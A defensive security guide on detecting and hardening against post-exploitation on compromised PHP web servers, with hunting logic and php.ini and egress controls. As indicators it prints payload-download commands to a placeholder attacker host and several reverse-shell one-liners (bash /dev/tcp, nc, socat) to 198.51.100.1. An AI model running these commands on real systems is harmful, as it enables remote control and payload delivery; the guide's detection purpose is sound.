Web applications remain one of the most common vectors for initial intrusion. Whether an adversary exploits a zero-day flaw in runtime interpreters or an arbitrary file upload vulnerability in custom application code, the primary objective is almost always Remote Code Execution (RCE). Once an attacker gains a foothold, they must break out of the web interpreter to discover where they landed, fetch their toolsets, and establish persistent access.

Understanding what happens immediately after a web engine is compromised allows blue teams and system administrators to detect attacks before adversaries pivot further into the internal network. In this guide, you will learn the mechanics of post-exploitation command execution under PHP web runtimes, the behavioral indicators that give attackers away, and how to build resilient detection and hardening controls.

The Mechanics of Web Process Anomalies

In standard production environments, web servers like Apache, LiteSpeed, Nginx (via PHP-FPM), or Microsoft IIS serve static content and pass dynamic requests to backend worker scripts. Under normal circumstances, a PHP worker process (such as php-fpm, php-cgi, or httpd) interacts with databases, session stores, and file caches. It rarely executes low-level operating system binaries directly.

When an attacker executes code via a web shell or unauthenticated RCE vulnerability, any commands they run are spawned directly as child processes of that web worker. These spawned processes inherit the identity of the service account, such as www-data, apache, nobody, or an IIS Application Pool account. Tracking this parent-child process relationship—known in threat detection as causality or process lineage—provides defenders with high-fidelity visibility into web compromise.

Four Key Stages of Web Server Post-Exploitation

Security research from teams like Unit 42 demonstrates that regardless of which specific vulnerability an adversary exploits, post-exploitation behavior on web workers consistently follows a distinct four-stage pattern.

1. Host and Environment Reconnaissance

Immediately after gaining code execution, attackers run non-interactive discovery commands to understand their privileges, operating environment, and network connectivity. While benign monitoring scripts might occasionally query metrics, adversaries execute bursts of broad enumeration tools:

  • Identity & Privileges: whoami, id, sudo -l, or getent.
  • System Architecture: uname -a, hostnamectl, cat /etc/os-release, or lscpu.
  • Network Topology: ip a, ifconfig, netstat -tulpn, ss, arp, or cat /etc/resolv.conf.
  • Environment & Container Checks: env, printenv, checking for /.dockerenv, or inspecting /proc/1/cgroup.

2. Payload Ingress and Downloaders

Because web shells are often constrained by HTTP request sizes or character encoding limits, attackers quickly attempt to retrieve external payloads, such as compiled ELF binaries, cryptominers, or second-stage bots. Detecting child processes of web workers invoking common network utilities is critical:

curl -O http://attacker-controlled-host/payload.sh
wget http://attacker-controlled-host/bin -O /tmp/kworker
certutil.exe -urlcache -f http://attacker-controlled-host/agent.exe agent.exe

Legitimate web applications may occasionally download updates or webhook data through internal application logic, but they rarely invoke command-line utilities like wget, tftp, or bitsadmin to write executable files directly into temporary paths.

3. Staging and Execution in Writable Directories

On Linux systems, web service accounts generally lack write access to standard system binary paths like /usr/bin or /sbin. As a result, adversaries download their tooling into world-writable or memory-backed directories, including /tmp, /var/tmp, /dev/shm, or /run/user.

After writing the payload, they must grant execution permissions. A distinct signal of post-exploitation is the web user invoking chmod +x against files located within /tmp or /dev/shm, followed immediately by executing a binary directly from those directories or from deleted file descriptors (such as /memfd: constructs).

4. Interactive and Reverse Shell Constructs

To bypass firewalls and establish interactive control, attackers frequently spawn reverse shells that connect back to an external listener. Common constructs include:

bash -i >& /dev/tcp/198.51.100.1/4444 0>&1
nc -e /bin/sh 198.51.100.1 4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:198.51.100.1:4444
python3 -c 'import socket,subprocess,os;s=socket.socket(...);os.dup2(...)'

Any network socket spawned by a command-line interpreter (such as sh, bash, python, or perl) when rooted under a web worker process should be treated as an active compromise.

Building Effective Hunting Queries

When searching your Endpoint Detection and Response (EDR) or centralized audit logs (like auditd or Sysmon for Linux), anchor your hunting logic to the web worker process before filtering for suspicious child processes.

Step 1: Identify the Web Causality Anchor

Filter for process creation events where the parent process or causality root matches common web servers and runtime managers:

  • php-fpm, php-cgi, php-fcgi, frankenphp, lsphp
  • apache2, httpd, lshttpd, nginx
  • w3wp.exe (on Windows IIS environments)
  • Effective user accounts matching www-data, apache, nginx, or iusr (excluding interactive SSH sessions)

Step 2: Filter Known-Benign Automation

Web hosting environments often run legitimate management automation that can generate false positives. Filter out trusted administrative tooling such as cPanel, Plesk, DirectAdmin, Nagios monitoring plugins, and local system metric pre-loaders.

Step 3: Score and Correlate Signals

Instead of alerting on a single execution of whoami (which might occasionally be used by a misconfigured setup script), look for clusters of behavioral signals occurring within a tight time window: a shell launch followed by reconnaissance, a file download to /tmp, and a subsequent chmod modification.

Hardening PHP Environments Against Code Execution

Detection must be paired with proactive configuration to limit the damage an adversary can inflict if an RCE vulnerability is triggered.

  1. Disable Execution Functions: In your php.ini configuration, restrict functions that invoke system shells unless strictly required by your application:
    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
  2. Enforce Read-Only Filesystems and Mount Restrictions: Mount temporary directories such as /tmp and /var/tmp with the noexec,nosuid,nodev options in /etc/fstab. This prevents directly executing binaries downloaded into these paths.
  3. Implement Mandatory Access Control: Apply AppArmor or SELinux profiles to your web server and PHP-FPM daemons. Confining PHP-FPM ensures that even if arbitrary execution occurs, the process cannot write outside assigned web roots or spawn arbitrary system utilities.
  4. Restrict Outbound Network Egress: Production web servers rarely need unrestricted outbound access to the entire internet. Use host-based firewall rules (via nftables or cloud security groups) to block arbitrary outbound TCP connections, preventing reverse shells and unauthorized payload downloads.

Post-Exploitation Defense Checklist

  • Process Monitoring: EDR or audit logging is enabled to capture parent-child process lineage for all web worker accounts.
  • Alerting Rules: Rules are configured to detect shells (sh, bash, cmd.exe, powershell.exe) spawned directly by php-fpm or httpd.
  • Directory Mounts: /tmp and /dev/shm are mounted with the noexec flag.
  • Runtime Hardening: Dangerous execution functions are restricted via disable_functions in production php.ini files.
  • Egress Filtering: Web tier network policies block arbitrary outbound connections to external IP addresses.
  • Principle of Least Privilege: Web worker accounts have read-only access to source code and are prohibited from running sudo commands.